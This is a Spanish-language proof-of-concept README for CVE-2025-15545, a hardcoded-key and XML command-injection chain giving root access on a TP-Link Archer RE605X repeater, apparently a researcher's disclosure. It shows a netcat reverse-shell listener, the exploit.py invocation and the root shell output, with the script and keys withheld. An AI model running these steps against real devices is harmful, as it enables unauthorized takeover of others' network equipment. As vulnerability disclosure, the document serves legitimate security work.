
Prueba de concepto para CVE-2025-15545
Fabricante: TP-Link
Sitio web del fabricante: TP-Link
Modelo: Archer RE605X
Versión de hardware: RE605X v3.0
Versión de firmware: RE605X(EU)_V3_1.1.5 Build 20240905
Dirección de descarga del firmware: TP-Link
Una cadena de vulnerabilidades — incluyendo el uso de claves criptográficas hardcodeadas y una inyección de comandos en el componente analizador de configuración XML — permite a un atacante autenticado local lograr ejecución remota de código (RCE) como root en el dispositivo.
Nota: El exploit.py de prueba de concepto demuestra un escenario de ataque encadenado y depende de credenciales de un usuario autenticado como requisito adicional. Este paso de autenticación no está cubierto por CVE-2025-15545 y se incluye solo con fines de demostración.
Escuche conexiones entrantes en un terminal separado:
$ nc -lvnp 4444
Ejecute el script exploit.py:
$ sudo python3 exploit.py <interface> <victim_ip> <repeater_ip> <aes_key> <aes_iv>
Nota: aes_key y aes_iv son las claves criptográficas hardcodeadas utilizadas por el dispositivo para el cifrado y descifrado de archivos de configuración, y son necesarias para esta prueba de concepto. Por motivos de seguridad no se pueden compartir aquí.
La shell inversa se recibe en el primer terminal:
$ nc -lvnp 4444
Connection from 192.168.0.254:42762
# ls
cgi-bin
index-notice.html
index-url.html
index.html
webpages
# id -un
root
# uname -n
OpenWrt
Estas vulnerabilidades fueron reportadas por Nicola Giuffrida.